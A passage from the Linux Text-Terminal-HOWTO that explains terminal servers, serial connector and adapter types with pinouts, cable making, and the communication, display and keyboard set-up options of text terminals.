11.6 Terminal Server Connection

What is a terminal server ?

A terminal server is something that serves to connect a bunch of terminals to a host computer(s) via a network. Today this server is often located nearby or inside the host computer. If you directly connect some terminals to a PC or connect them via dial-up modems thru serial ports at each end, you don't need a terminal server.

But if the terminals are connected to the host over a network, then you may need a terminal server to make the serial-to-network conversions. This is useful for devices such as printers and terminals that have no built-in network support. However the definition of "terminal server" has broadened to the case where all data flows entirely over a network (except of course within the computer itself) and where no serial ports are involved. The term "terminal" may include a thin client type terminal with a GUI. The network usually uses tcp/ip and/or ppp but other protocols (including protocol conversion) are sometimes supported.

One way to connect a "terminal" (your PC console) to a network is to run telnet on your PC (assuming your PC has a network connection). At one time, terminal servers were dedicated hardware which could be used only as terminal servers. Today a PC can simultaneously serve as a terminal server thereby serving many terminals.

Today, most terminal servers serve thin client terminals rather than text-terminals. The "Linux Terminal Server Project" is an example. But it can also serve text terminals using telnet. Such a text-terminal is likely to be just a PC monitor emulating a terminal of type "Linux". The terminal server is just software running on the host computer. Telnet server software is like a simple terminal server.

A host that only has directly connected terminals (or modem connections without tcp/ip or ppp) is sometimes called a "terminal server". Although it's doing the same job as a real terminal server, it strictly speaking is not a terminal server.

Evolution of the "terminal server"

Originally a terminal server served real text-terminals via the serial port. A server for real text-terminals would have a number of serial ports. The user would log in to the server and then get connected via tcp/ip, etc. to a host computer where s/he would login a second time again. Sometimes the first login would be automatic, or perhaps there would be a choice given the user as to what host computer (or printer) to connect to (or what protocol to use).

The use of text-terminals declined as the PC replaced mainframes. But the PC could emulate a terminal (using say minicom (Linux) or (hyper)terminal for MS). One could could then dial-out via a modem to a bulletin-board or the like. There would be a bank of modems to accept such calls and each modem would be connected to a serial port. The serial port could either be on a multiport card or on a dedicated terminal server. Note that in both the above cases there is no client software. It's not a client-server model.

When the Internet became popular, one would run the PPP protocol on the phone line and still go thru a modem and "terminal server" at the ISP. This server would handle PPP and ultimately connect one to the Internet. But the PC was no longer emulating a text terminal since browser images were being displayed. Today with ISPs getting only digital signals from the phone company, they don't need real modems anymore. So what was a "terminal server" evolved into a "remote access server". It's infrequently been called a "digital terminal server". Note that 56k modem service requires that an ISP have a digital connection to the phone company.

With remote access servers, instead of many individual telephone line cables connected to a terminal server, one now finds just a few cables with many digitized telephone calls on each cable (multiplexed). The multitude of connectors needed for large numbers of terminals or modems is no longer present on a remote access server and thus the successor to this type of terminal server can't readily serve text-terminals anymore.

More recently with the advent of thin clients terminals, the term "terminal server" was revived to apply to the hosts that served the thin clients. Both MS Windows and Linux can serve thin clients.

11.7 Connector and Adapter Types

A connector is more-or-less permanently attached to the end of a cable or to a hardware unit. There are two basic types of connectors used in serial communications: 1. DBxx with pins (such as DB25) and 2. modular telephone-style connectors.

An adapter looks about like a connector but it has two ends. It is just like a cable that is so short that there is no cable part left at all --just different connectors on each end is all that remains. The adapter just plugs in on each side. It allows two incompatible connectors to mate with each other by going in between them. Sometimes the purpose of the adapter is to interchange wires. Obviously, one may use a special cable (perhaps homemade) as a substitute for an adapter.

Sex of connector/adapters

Connectors (or one side of adapters) are either male or female. The connectors that have pins are male and the ones that have sockets (sometimes also called pins) are female. For modular connectors, the ones with exposed contacts are plugs while the ones with internal contacts (not easy to see) are jacks. Plugs are male; jacks are female.

Types of adapters

There are three basic types of adapters: null modem, gender changers and port adapters. Some adapters perform more than one of these three functions.

  • null modem adapter: Reroutes wires. Like a null modem cable.
  • gender changer: Changes the sex of a cable end. Two connectors of the same sex can now connect (mate) with each other.
  • port adapter: Goes from one type of connector to another (DB9 to DB 25, etc.)

DB connectors

(For how to install a DB connector on the ends of a cable see Installing DB Connectors.) These come in 9 or 25 pins. The EIA-232 specs. call for 25 pins but since most of these pins are not used on ordinary serial ports, 9 pins is sufficient. See DB9-DB25 for the pin-out. The pins are usually numbered if you look closely enough or use a magnifying glass.

RJ modular connectors

RJ means Registered Jack. These look like modern telephone connectors but are sometimes not compatible with telephone connectors. See also Installing RJ Connectors. For use with serial ports they may be 6 or 8 conductor. A few are 10-conductor but may not officially belong to the RJ series.

6-conductors: RJ11/14, RJ12, and MMJ

RJ11 are all the same size but may have 2, 4, or 6 conductors. If it has two conductors, it should be called a RJ11. If it has 4 conductors, some call it a RJ14. If it has 6 conductors, many call it a RJ12 (but a RJ12 per the phone company has only 4 conductors). Seems confusing but they are all the same size and differ mainly by the number of conductor contacts present.

A look-alike (almost) is a MMJ connector (6-conductor) used on later model VT (and other) terminals. It's sometimes referred to as a DEC-423 or a DEC RJ11. MMJ has an offset tab and is not compatible with RJ ones (unless the tab is cut off). However, some connectors have been made that are compatible with both MMJ and the RJ ones. Since MMJ connectors are both hard to find and may be expensive some people have forced a RJ (6 conductor) to fit MMJ by filing off the offset tab with a file.

The MMJ (DEC) pinout is: 1-DTR, 2-TxD, 3-TxD_Gnd, 4-RxD_Gnd, 5-RxD, 6-DSR. Cyclades Cyclom-8Ys RJ12 has: 1-DTR, 2-TxD, 3-Gnd, 4-CTS, 5-RxD, 6-DCD. Specialix IO8+ has: 1-DCD, 2-RxD, 3-DTR/RTS, 4-Gnd, 5-TxD, 6-CTS. The pins of the RJ (and MMJ) are numbered similar to the RJ45.

       Plug                         Jack (or socket)
  (Looking at the end           (Looking at the cavity
   end of a cable)               in a wall or PC back)
     .________.                       .________.
     | 654321 |                       | 123456 |
     |__.  .__|                       |__.  .__|
        |__|                             |__|

A standard MMJ null-modem cable has a MMJ connector at each end. It connects to the PC using a MMJ-to-DB adapter. This adapter plugs into a DB (say 25 pin) connector on the back of the PC and the MMJ connecter plugs into it. If you don't have such an adapter, you can make a custom cable with a MMJ (or filed RJ) connector on one end and a DB connector on the other end.

The standard null-modem cable with two MMJ (or RJ11/14) connectors will connect: 1-6, 2-5, and 3-4. Note that such a cable supports DTR/DSR flow control which is not supported (yet) by Linux. Making up your own standard 6-conductor null-modem cable is very simple if you understand that the ordinary 4-conductor telephone cable from the wall to your telephone, used in hundreds of millions of homes, is also a null-modem cable. Find one and wire your cable the same way.

If you lay such a cable (or your terminal null-modem cable) flat on the floor (with no twists) you will note that both plugs on the ends have their gold contacts facing up (or both facing down). Although it's symmetrical, it is also null- modem if you think about it a bit. One may put a few such cables together with inline couplers and everything works OK because each inline coupler is also a null-modem adapter. Two null-modem devices in series result in a straight-thru connection.

Here's a custom cable diagram (by Mark Gleaves) for connecting MMJ to a 9-pin serial port using RTS/CTS flow control:

  DEC MMJ                            Linux PC DB9
Pin  Signal                           Signal  Pin
===  ======                           ======  ===
 1    DTR -----------------------|---> DSR     6
                                 |---> CTS     8
 2    TxD ---------------------------> RxD     2
 3    SG (TxD)--------------------|--- SG      5
 4    SG (RxD)--------------------|
 5    RxD <--------------------------- TxD     3
 6    DSR <--------------------------- RTS     7
                                  |--> DTR     4
                                  |--> CD      1
                       (no connection) RI      9

8-conductors and 10-conductors

RJ45 and RJ48 are 8-conductor modular telephone plugs. There exists some 10-conductor connectors which are allegedly wider and will not mate with the 8-conductor ones. People have called the 10-conductor ones RJ45 and/or RJ48 but this may be incorrect. These connectors are used for both flat telephone cable and round twisted pair cable. The cable end of the connector may be different for round and flat cable. RJ48 has an extra tab so that a RJ48 plug will not push into a RJ45 jack (but a RJ45 plug will mate with a RJ48 jack). They're used on some multiport serial cards and networks. Heres the pin numbers for an 8-conductor:

  Plug                          Jack (or socket)
  (Looking at the end           (Looking at the cavity
   end of a cable)               in a wall)
     .__________.                   .__________.
     | 87654321 |                   | 12345678 |
     |__.    .__|                   |__.    .__|
        |____|                         |____|

11.8 Making or Modifying a Cable

Buy or make ?

You may try to buy a short, null modem cable. Just a "modem cable" will not work. Null modem cables are often labeled as serial printer cables (but serial printers are not very popular today and neither are the cables). Unfortunately, they will probably not work for hardware flow control (until Linux supports DTR flow control, possibly in 2001). Make sure the connectors on the cable ends will fit the connectors on your computer and terminal.

But if you need longer cables to connect up terminals or need hardware flow control, how do you get the right cables? The right ready-made cables may be difficult to find (you might find them by searching the Internet), especially if you want to use a minimum (say 4) of conductors. One option is to get them custom made, which is likely to be fairly expensive although you might find someone to make them at prices not too much higher than ready-made cable (I did).

A low-cost alternative is to buy used cables (if you can find them). If you get a used terminal, ask if they have a cable for it. Another alternative is to make your own. Even if you get used cables, they may need some changes to the pin wiring. In either case, this may require special tools. Most connectors that come with short cables are permanently molded to the cable and can't be rewired but most custom-made and homemade cables have connectors that can be rewired. One advantage of making your own cable is that the skills you learn will come in handy if a cable breaks (or goes bad) or if you need to make up another cable in a hurry.

Pin numbers

The numbers of the pins should be engraved in the plastic of the connector. Each pin should have a number next to it. You may need a magnifying glass to read them.

Installing DB connectors on cable ends

See DB Connectors for a brief description of them. Unfortunately, most cables one purchases today have molded connectors on each end and can't be modified. Others have connectors which unscrew and can be rewired. If you are making up cable or modifying an existing one then you need to know about pins. There are two types: soldered and crimped.

The crimped pins require a special crimping tool and also need an "insertion/extraction" tool. But once you have these tools, making up and modifying cable may be faster than soldering. If you are connecting two wires to one pin (also needed if you want to jumper one connected pin to another pin) then soldering is faster (for these pins). This is because the crimped pins can only take one wire each while the soldered ones can accept more than one wire per pin.

To insert crimped pins just push them in by hand or with the insertion tool. Using the tool for either insertion of removal first requires putting the tool tip around the wire. The tool tip should completely encircle the wire at the the back of the pin.

Removing a pin with this tool is a little tricky. These directions can be best understood if you have both the tool and wires in front of you as you read this. With the tool tip around the wire insert the tool as far as it will go into the hole (about 1 1/2 cm. Some tools have a mark (such as a tiny hole) on them to indicate how far to insert it. The tool tip should have a tapered gap so that you may get the tip around the wire by starting it in where the gap is wider than the wire. The tool may have 2 tips. The one that is the most difficult to get around the wire is also the one that removes the wire the easiest since it almost completely envelops the wire.

With the tip properly inserted pull on both the tool and the wire with a gentle pull. If it doesn't come out, the tool was likely not inserted correctly so either push it in more or twist it to a different position (or both). Perhaps you should have used another tip that fits tighter around the pin. Using this tool, one may readily convert a straight-thru cable to a null-modem cable, etc.

There can be problems using the "insertion/extraction" tool. If the tools will not insert on the back of the pin, it could be that the pin was not neatly crimped to the wire and is sort of square where it should be round, etc. If a pin starts to come out but will not pull out all the way, the pin may be bent. Look at it under a magnifying glass. Straightening a pin with needle-nose pliers may damage the gold plating but you may have to straighten it to remove it. Sometimes a stuck pin may be pushed out with a thick screwdriver blade tip (or the like) but if you push too hard you may gouge the plastic hole or bend the pin:.

Don't try soldering unless you know what you're doing or have read about how to do it.

Installing RJ connectors

These are telephone modular connecters one type of which is used for most ordinary telephones. But there are many different types (see RJ Modular Connectors).

These are not easy to reuse. You might be able to pull the wires out, push in something wedged that would lift up the gold-colored contacts and reuse the connector. There are special crimping tools used to install them; a different tool for each type.

If you don't have a crimping tool, installation is still possible (but difficult) using a small screwdriver (and possibly a hammer). Push in the cable wires and then push each gold-colored contact down hard with a small screwdriver that will just fit between the insulating ridges between the contacts. You may damage it if you fail to use a screwdriver with a head almost the same thickness as the contacts or if the screwdriver slips off the contact as you are pushing it down. You may also use a small hammer to pound on the screwdriver (push first by hand).

Be sure to not hurt the "remove lever" on the connecter when you push in the contacts. Don't just set it down on a table and push in the contacts. Instead, put a shim (about 1 mm thick) that fits snugly in the crevice between the lever and the body. For such a shim you may use thick cardboard, several calling cards, or wood. Since the bottom of the connector (that you will put on the table) isn't level (due to the "remove lever), make sure that the table top has something a little soft on it (like a sheet of cardboard) to help support the non-level connector. Even better would be to put another 1mm shim under the first 6mm of the connector, supporting it just under where you see the contacts. A soft tabletop wouldn't hurt either. Another method (I've never done this) is to hold the connector in a vice but be careful not to break the connector.

As compared to using a crimping tool, installing it per above takes a lot longer and is much more prone to errors and failure but it's sometimes more expedient and a lot cheaper than buying a special tool if you only have one or two connectors to install.


Text-Terminal-HOWTO: Set-Up (Configure) in General

 Next Previous Contents

12. Set-Up (Configure) in General

12.1 Intro to Set-Up

Configuring (Set-Up) involves both storing a configuration in the non-volatile memory of the terminal, and putting commands in start-up files (on your hard disk) that will run each time the computer is powered on (or possibly only when the run-level changes). This section gives an overview of configuring and covers the configuring of the essential communication options for both the terminal and the computer. The next two major sections cover in detail the configuration of the terminal (see Terminal Set-Up and the computer (see Computer Set-Up (Configure) Details.

12.2 Terminal Set-Up (Configure) Overview

When a terminal is installed it's necessary to configure the physical terminal by saving (in its non-volatile memory which is not lost when the terminal is powered off) the characteristics it will have when it is powered on. You might be lucky and have a terminal that has already been set-up correctly for your installation so that little or no terminal configuration is required.

There are two basic ways of configuring a terminal. One is to sit at the terminal and go thru a series of set-up menus. Another is to send escape sequences to it from the host computer. Before you can send anything to the terminal (such as the above escape sequences), its Communication Interface options such as the baud rate must be set up to match those of the computer. This can only be done by sitting at the terminal since the communications must be set up right before the computer and the terminal can "talk" to each other. See Terminal Set-Up.

12.3 Computer Set-Up (Configure) Overview

Besides possibly sending escape sequences from the computer to configure the terminal, there is the configuring of the computer itself to handle the terminal. If you're lucky, all you need to do is to put a "getty" command in the /etc/inittab file so that a "login:" prompt will be sent to the terminal when the computer starts up. See the section Getty (used in /etc/inittab) for details.

The computer communicates with the terminal using the serial device driver software (part of the kernel). The serial device driver has a default configuration and is also partly (sometimes fully) configured by the getty program before running "login" at each terminal. However, additional configuration is sometimes needed using programs named "stty" and "setserial". These programs (if needed) must be run each time the computer starts up since this configuration is lost each time the computer powers down. See Computer Set-Up (Configure) Details.

12.4 Many Options

There are a great many configuration options for you to choose from. The communication options must be set right or the terminal will not work at all. Other options may be set wrong, but will cause no problem since the features they set may not be used. For example, if you don't have a printer connected to the terminal it makes no difference how the printer configuration parameters are set inside the terminal. This last statement is not 100% correct. Suppose that you have no printer but the computer (by mistake) sends the terminal a command to redirect all characters (data) from the computer to the printer only. Then nothing will display on the screen and your terminal will be dead. Some terminals have a configuration option to inform the terminal that no printer is attached. In this case the terminal will ignore any command to redirect output to the "printer" and the above problem will never happen. However, this doesn't help much since there are many other erroneous commands that can be sent to your terminal that will really foul things up. This is likely to happen if you send the terminal a binary file by accident.

In some cases a wrong setting will not cause any problem until you happen to run a rare application program that expects the terminal to be set a certain way. Other options govern only the appearance of the display and the terminal will work fine if they are set wrong but may not be as pleasant to look at.

Some options concern only the terminal and do not need to be set at the computer. For example: Do you want black letters on a light background? This is easier on the eyes than a black background. Should a key repeat when held down? Should the screen wrap when a line runs off the right end of the screen? Should keys click?

12.5 Communication Interface Options

Some of these communication settings (options) are for both the terminal and the computer and they must be set exactly the same for both: speed, parity, bits/character, and flow control. Other communication options are only set at the terminal (and only a couple of these are essential to establish communications). Still others such as the address and interrupt (IRQ) of the physical port ttyS2 are set only at the computer using the "setserial" command. Until all of the above essential options are compatibly set up there can be no satisfactory serial communication (and likely no communication at all) between the terminal and the computer. For the terminal, one must set these options manually by menus at each terminal (or by using some sort of special cartridge at each terminal). The host computer is configured by running commands each time the computer is powered up (or when people log in). Sometimes the getty program (found in the /etc/inittab file) which starts the login process will take care of this for the computer. See Getty (used in /etc/inittab)

The settings for both the computer and the terminal are:

  • Speed (bits/second)
  • Parity
  • Bits per Character
  • Flow Control

Some essential settings for the terminal alone are:

  • Port Select
  • Set communication to full duplex (=FDX on Wyse terminals)

If the Getty (used in /etc/inittab) program can't set up the computer side the way you want, then you may need to use one (or both) of the Stty & Setserial commands.

Speed

These must be set the same on both the terminal and the computer. The speed is the bits/sec (bps or baud rate). Use the highest speed that works without errors. Enabling flow control may make higher speeds possible. There may be two speeds to set at the terminal: Transmit and Receive, sometimes abbreviated T and R. Usually they are both set the same since stty in Linux doesn't seem to have the option yet of setting them differently. (There is an option to do this with the "stty" command but it seems to actually set them both the same.) Common speeds are 300, 600, 1200, 2400, 4800, 9600, 19200, 38400, ... The slower speeds (like 600) are for printers and hard-copy terminals.

Parity & should you use it ?

For a definition see Parity Explained. Parity-disabled is often the default. To enable parity, you must both enable it and then select either even or odd parity. It probably makes no difference if it's odd or even. For terminals there are sometimes settings for both transmit and receive parity. You should set both of these the same since stty at the computer doesn't permit setting them differently. The PC serial port usually can't support different parities either. Some terminal are unable to set receive parity and will simply always ignore received parity bits. On some older terminals if you use 8-data-bits per byte then parity will not work since there is no room in the hardware for the extra parity bit.

Should you use parity at all? Parity, while not really necessary, is nice to have. If you don't have parity, then you may get an incorrect letter here and there and wind up trying to correct spelling errors that don't really exist. However parity comes at a cost. First, it's more complicated to set up since the default is usually no parity. Secondly, parity will slow down the speed with which bytes travel over the serial cable since there will be one more bit per byte. This may or may not slow down the effective speed.

For example, a hard-copy terminal is usually limited by the mechanics of the printing process. Increasing the bytes/sec when the computer (its UART chip) is transmitting only results in more flow-control "halt" signals to allow the mechanical printing to catch up. Due to more flow-control waits the effective speed is no better without parity than with it. The situation is similar for some terminals: After you implement parity there may be fewer flow-control waits per unit time resulting in more bits/sec (average). However, due to the added parity bits the bytes/sec (average) stays the same.

One option is to install terminals with no parity. Then if parity errors are noticed, it can be implemented later. To spot possible errors with no parity, look for any spelling errors you don't think you made. If you spot such an error, refresh the screen (retransmit from the computer). If the error goes away, then it's likely a parity error. If too many such errors happen (such as more than one every few hundred screens) then corrective action is needed such as: Enable parity and/or reduce speed, and/or use a shorter/better cable. Enabling parity will not reduce the number of errors but it will tell you when an error has happened.

Just the opposite policy is to initially enable parity. Then if no parity errors (error symbols on the CRT) are ever seen (over a reasonable period of time, say a month or two) it may be safely disabled.

Bits/Character

This is the character size (the number of data bits per character excluding any parity bit). To use international character sets you need 8 bits. But it's not of much use unless your terminal has the fonts for them. See Character-Sets If you are only going to use ASCII characters, then select 7-bits since it's faster to transmit 7 bits than 8. Some very old terminals only support 7-bit characters.

Which Flow Control (Handshaking) ?

The choice is between "hardware" (for example dtr/cts) or "software" (Xon/Xoff) flow control. (The Adds terminal menu incorrectly use "Xon/Xoff" to mean any kind of flow control.) While hardware flow control may be faster (if the one or two extra wires for it are available in the cable and if the terminal supports it) in most cases Xon/Xoff should work OK. Some people report that they solved disturbing problems (see below) by converting to hardware flow control but software flow control has worked fine at other installations (and for me personally).

If you use software (Xon/Xoff) flow control and have users who don't know about it, then they may accidentally send an Xoff to the host and lock up their terminal. While it's locked, they may type frantically in a vain attempt to unlock it. Then when Xon is finally sent to restore communication, all that was typed in haste gets executed, perhaps with unexpected results. They can't do this with hardware flow control. See Flow Control for an explanation of flow control.

Port select

Since most terminals have two or more connectors on the back, it is usually possible to assign one of these connecters to connect to the host computer and assign another connector to be the printer port. The connector may have a name next to it (inspect it) and this name (such as Aux, Serial 2, or Modem) may be assigned to either be the main host connection or the printer connection (or the like).

12.6 Quick Attempt

While all the above may seem overly complex, to get a terminal working is often fairly simple. The Quick Install section describes a simple way to try to do this. But if that doesn't work or if you want to make the display look better and perform better, more reading will be needed.


Text-Terminal-HOWTO: Terminal Set-Up (Configure) Details

 Next Previous Contents

13. Terminal Set-Up (Configure) Details

Except for the next subsection on sending escape sequences to the terminal, this section mainly presents the details of setting up the terminal manually by sitting at the terminal and going thru menus. If you haven't already done so, you should read Terminal Set-Up (Configure) Overview. It's best if you have a terminal manual, but even it you don't there is information here on many of the options which you might possibly need to set.

The communication parameters such as its baud rate must always be set up at the terminal since if this is not done there can be no communication with the terminal. Once communication is established you have two choices for doing the rest of the terminal configuration. You may continue to configure manually at the terminal and save the results in the terminal's non-volatile memory or you may do this by sending escape sequences to the terminal from the computer each time the terminal is powered on (or the like).

If you know how to set up and save a good configuration inside the terminal it may be the best way. If you don't, you might want to just send the init string from terminfo to your terminal each time you use the terminal. Perhaps doing nothing will still give you a usable terminal. You (or an application program) can always change things by sending certain escape sequences to the terminal.

13.1 Send Escape Sequences to the Terminal

Once the communication interface is established, the rest of the configuration of the terminals may sometimes be done by sending escape sequences to the terminals from the computer. If you have a large number of terminals, it may be worthwhile to write (or locate) a shell script to automatically do this. There may (or may not) be a command you can send to a terminal to tell it to save its current set-up in its non-volatile memory so that it will be present the next time the terminal is powered on.

There is an simple way to send these escape sequences and a complex way. Using the simple way, you never look up escape sequences but issue commands that automatically find an appropriate escape sequence in the terminfo database and send that. Unfortunately, not all the escape sequences which you might want to send are always in the terminfo database. Thus the more complex (but possibly better) way is to directly send escape sequences.

For this complex method you'll need an advanced manual. Old terminal manuals once included a detailed list of escape sequences but newer ones usually don't. To find them you may need to purchase another manual called the "programmers manual" (or the like) which is not supplied with the terminal. A Esc Sequence List for some terminals is on the Internet but it's terse and likely incomplete.

Even without a manual or the like, you may still send commands to configure the terminal by using the programs "tput" and "setterm". See Changing the Terminal Settings. You could just send the terminal an init string from the terminfo entry if the init string sets up the terminal the way want it. See Init String. Unless you plan to have these sequences sent from the computer to the terminal each time the terminal is powered on, you must somehow save the settings in the non-volatile memory of the terminal.

13.2 Older Terminals Set-Up

On older terminals look at the keyboard for labels just above the top row of numeric keys. If they exist, these labels may be what these keys do in set-up mode. Some older terminals may have only one "set-up" menu. Still older ones have physical switches. In some cases not all the switches are well labeled but they may be well concealed. Of course, if you set something with a switch, it's "saved" and there is no need to save the setting in non-volatile memory.

13.3 Getting Into Set-Up (Configuration) Mode

To select options (configure) at the terminal, you must first enter "set-up" mode and then select options (i.e. configure) using menus stored inside the terminal and displayed on the screen. To do this, the terminal does not even need to be connected to a computer. How to get into set-up mode is covered in the terminal's manual, but here's some hints that may help:

If there's a "set-up" key try pressing it. Also try it shifted.

  • Wyse: First try the shifted "Select" key; then substitute Ctrl for shifted in all of the above.
  • VT, Dorio: F3 may be the set-up key. On VT420 and later models this key may have been programmed to do something else so turn off the power. When you turn on the power again, hit the F3 key as soon as you get an initial screen message.
  • IBM: 3151: Ctrl-ScrollLock. 3153: Ctrl-Minus_on_Keypad (or like 3151)

To move around in the set-up menus, try the arrow keys. Use Return, Space, or a special key ("toggle" on old terminals) to select. To exit set-up mode select exit from a menu (or on some older terminals press the set-up key again).

13.4 Communication Options

For the terminal to work at all, speed, parity, :its/character, and communication mode must be set correctly. Incorrect flow control may cause loss and/or corruption of data seen on the screen. The essential communication options were dealt with (for both the terminal and computer) in another section: See Communication Interface. The following list provides some links to that section, as well as some additional communication options set only at the terminal.

  • Speed (bits/second) (baud rate): 9600, 19200, etc.
  • Parity none, even, odd, mark, space
  • Bits per Character {Data}: 7 or 8
  • Flow Control: or Handshake {Hndshk}: none, Xon-Xoff, or hardware (DTR, etc).
    • Receiver Handshake {Rcv Hndshk} protects data being Received by the terminal by transmitting flow-control signals to the host.
    • Transmitter Handshake {Xmt Hndshk} is protection of data being Transmitted by the terminal. The terminal receives flow-control signals (and locks/unlocks the keyboard). Includes "Incoming Xon/Xoff".
  • number of stop bits: 1 or 2. See Voltage Sequence for a Byte
  • Flow control level {Rcv Hndshk Level} {{Xoff at ...}}: Flow control will send "stop" when this number of bytes in the terminal's buffer is exceeded.
  • Communication Mode {Comm}: Full Duplex {FDX}, Half Duplex {HDX} {{Local Echo}}, Local Mode {{Online/Local}}
  • Transmit Rate (Speed) Limit {Xmt Lim}: limits the transmit rate to the specified cps (chars/sec) even though the baud rate setting may be at a higher speed.
  • Function-Key Rate Limit: as above but for function key messages.
  • Port Select: Which physical connecter is for the host {Host Port} ?

13.5 Saving the Set-up

Your set-up must be saved in the non-volatile memory of the terminal so that it will be effective the next time you turn on the terminal. If you fail to save it, then the new settings will be lost when you turn off the terminal. Before you go to the trouble of setting up a terminal, make sure that you know how to save the settings. For modern terminals the save command is done via a menu. In some older terminals, only the manual tells how to save. For many of these you press Ctrl-S to save.

13.6 Set-Up Options/Parameters

What follows in this section describes some of the options which are available in the set-up menus of many terminals. Options are also called parameters or features. Many options may be called "modes". Setting options is often called "configuring". Many of these options may also be set by sending certain escape sequences to the terminal. Different models and brands of terminals have various options and the same option may be called by different names (not all of which are given here) Terse names used by Wyse are enclosed in {...}. Names used mostly for VT terminals are enclosed in {{...}}.

13.7 Emulation {Personality} {{Terminal Modes}}

Most modern terminals can emulate several other terminals. The terminal can likely do more if it is set to emulate itself (actually no emulation) {native personality}. Sometimes there are 2 different emulations for the same model of terminal. For example VT220-7 emulates a VT220 with 7-bits/byte while VT220-8 emulates a VT220 with 8-bits/byte (256 possible characters).

Older models of terminals usually have fewer features than newer models. Suppose one wanted to emulate an old terminal but also wanted some of the advanced capabilities of the later model terminal they are sitting at. This is sometimes possible (to some degree). This feature is sometimes called {Enhance} (or Enhanced ??).

13.8 Display Options

Character Cell Size {Char Cell}

This is the size of the cell in which a character fits. It is measured in pixels (=tiny dots). The more dots, the better the resolution. 10x16 is 10 dots wide by 16 dots high (16 rows and 10 columns). Note the notation is inverted as compared to the notation for matrix dimensions which gives rows (height) first.. Also, the character cell includes rows and columns of pixels allocated for the space between adjacent characters so the cell size which defines the boundaries of an actual character may be smaller.

Columns/Lines

Usually 80 columns and 24 or 25 lines. This means that there may be up to 80 characters in a row (line) on the screen. Many terminals have a 132 column option but unless you have a large screen, the tiny characters may be hard to read. {{Set 132 column mode}}. If you set 25 lines, make sure that this is in the terminfo. You should also put "export LINES=25" into /etc/profile and also use: "stty -F /dev/ttySx rows 25". If you don't it might result in a scrolling problem (see Terminal doesn't scroll

Cursor

The cursor may be set to appear as a rectangle (= block) {Blk}. Other options are underline {Line} or blinking. I prefer non-blinking {Steady} block since it's big enough to find quickly but there is no distractive blinking. If you set it invisible (an option on some terminals) it will disappear but new letters will appear on the screen as you type at the invisible cursor.

Display Attributes (Magic Cookies)

Display Attributes may either be magic cookies or be attribute bytes assigned to each character. For magic cookies, there is a limit to their extent: Are they in effect to the end of the line or to the end of the page? It's best to use attribute bytes (which could actually be half-bytes = nibbles).

Display Control Characters {Monitor}

May be called various names such as "Display Controls". When off (normal) it's "Interpret Controls". When set on, you see the escape sequences from the host (which you normally never see on the screen). So that these sequences may be viewed in sequence on a line, they are not acted upon (interpreted) by the terminal. Except that a CR LF sequence creates a new line. See Control Codes.

Double Width/Height

Some terminals can have their characters double width and/or double height. This feature is seldom needed. When changing a line to double width (DW) the right half (RH) is pushed off the screen and there is the question of whether or not to delete (erase) it. "Preserve" means to keep the RH of DW lines. When in double height mode, it may be necessary to send each such line twice (the 2nd time down one row) in order to get a double-height line on the screen.

Reverse Video {Display} (Background Light/Dark)

Normal video is light (white, green, amber) letters (foreground) on a dark (black) background. Reverse video {Display Light} is the opposite: black text on a light background. This is easier on the eyes (unless the room is dark).

Status Line

A status line is a line at the top or bottom of the screen that displays info about the application program you are running. It's often highlighted in some way. With a status line enabled, an application can send the terminal a special escape sequence which means that the text that follows is for the status line. However, many applications don't use this feature but instead only simulate a real status line by direct cursor positioning. The ordinary user looking at it doesn't know the difference.

Upon 80/132 Change: Clear or Preserve?

When switching the number of columns from 80 to 132 (or conversely) should the data displayed in the old format be erased (cleared) or preserved? {80/132 Clr} {{Screen Width Change}}. It should make no difference how you set this option since if an application program uses 132 columns, it should set this option appropriately via a control sequence.

13.9 Page Related Options

For a Wyse terminal to be able to access multiple pages of display memory {Multipage} must be set to on.

Page Size

The terminal memory may be divided up into a number of pages. See Pages and Pages (definition) for explanations of pages. You may partition the page memory into a number of pages of selected length. Linux applications don't seem to use pages at present so it shouldn't make much difference how you set this up.

Coupling (of cursor & display)

The terminal memory may be divided up into a number of pages. See Pages and Pages for explanations of pages. When the cursor is moved to a location in video memory not currently displayed (such as another page, or on the same page but to a location not displayed on the screen) should the display change to let one view the new cursor location? If so, this is called "Coupling". For cursor movement within the same page there is "Vertical Coupling" and "Horizontal Coupling". For movement to another page there is "Page Coupling".

13.10 Reporting and Answerback

The terminal will identify itself and its state, or send out a pre-recorded message in response to certain escape sequences.

Answerback Message (String)

You may write a short message during set-up which may optionally be sent to the host at power-up or be sent to the host in response to a request from the host (perhaps the ENQ (inquire) control character).

Auto Answerback

If set, sends the answerback message to the host at power-on without the host asking for it. Do any "getty" processes look for this ??

Answerback Concealed

If set, will never let anyone see the answerback message (except of course the host computer). If it needs to be changed, deselect "answerback concealed" and the formerly concealed message will be destroyed so you then may enter a new message (but you don't get to see the old one).

Terminal ID {ANSI ID}

The terminal sends this reply in answer to a request for identity.

13.11 Keyboard Options

Keyclick

When set, pressing any key makes a click (broadcast by a tiny loudspeaker in the keyboard). These clicks annoy some people and I think it's best to set keyclick off.

Caps Lock {Keylock}

When the Caps-Lock key is down, should only the alphabetic keys generate shifted characters? If set to {Caps} or upper-case-only then hitting a number key with the Caps-Lock on will type the number. To get the symbol above the number one must manually hold down the shift key. This is the normal mode. If set to {Shift} then all keys type the shifted character when Caps-Lock is on (hitting the 5 key should type % without holding down Shift, etc.).

Auto Repeat {Repeat}

If a key is held down then that key is repeatedly "typed". This is handy for repeatedly typing the same character to create a line across the page.

Margin Bell

When the cursor is 8 columns away from the right side of the display, a bell is rung (like on an old typewriter). Almost all editors will automatically create a new line if needed (no need to hit the Return key) so this feature is seldom needed.

Remapping the Keys

The code sent to the host when a key is pressed is normally the ASCII code for that key (depends also on Shift and Control key). On some terminals you may make any key send any code you wish. That is, you may completely remap the keyboard by setting up the terminal that way. This may be useful for some foreign languages and Dvorak keyboard layouts, etc. which permit one to type faster. Even for terminals that don't have the feature, there is software to remap the keyboard (and screen also). It's something like a device driver which uses a pseudo terminal. See Character Mapping: mapchan

Corner Key (for Wyse only)

Wyse terminals have a key near the lower left corner which may be set to do various things. Its may be labelled "Funct", "Compose Character", "Alt", "Hold" or "Scroll Lock". Early models don't have all of the following options:

  • Hold: No-Scroll. Hitting it stops the flow of data (using flow control) to the terminal. Hitting the key again restores normal flow.
  • Compose: Hitting it followed by certain other keys permits one to generate a limited number of pre-defined non-Latin characters.
  • Meta: Holding it down while typing another key sets the high-order bit on each byte. Are there models where it acts like a toggle to lock in the meta effect ??
  • Funct: Holding it down while typing any alphanumeric key gets a header (SOH) and trailer (CR) byte framing the ASCII byte code.
  • Kpd Compose: Holding it down while typing a decimal number on the numeric keys (followed by "enter") sends out the same number in hexadecimal ??

Numeric Keypad or Arrow Keys Sends

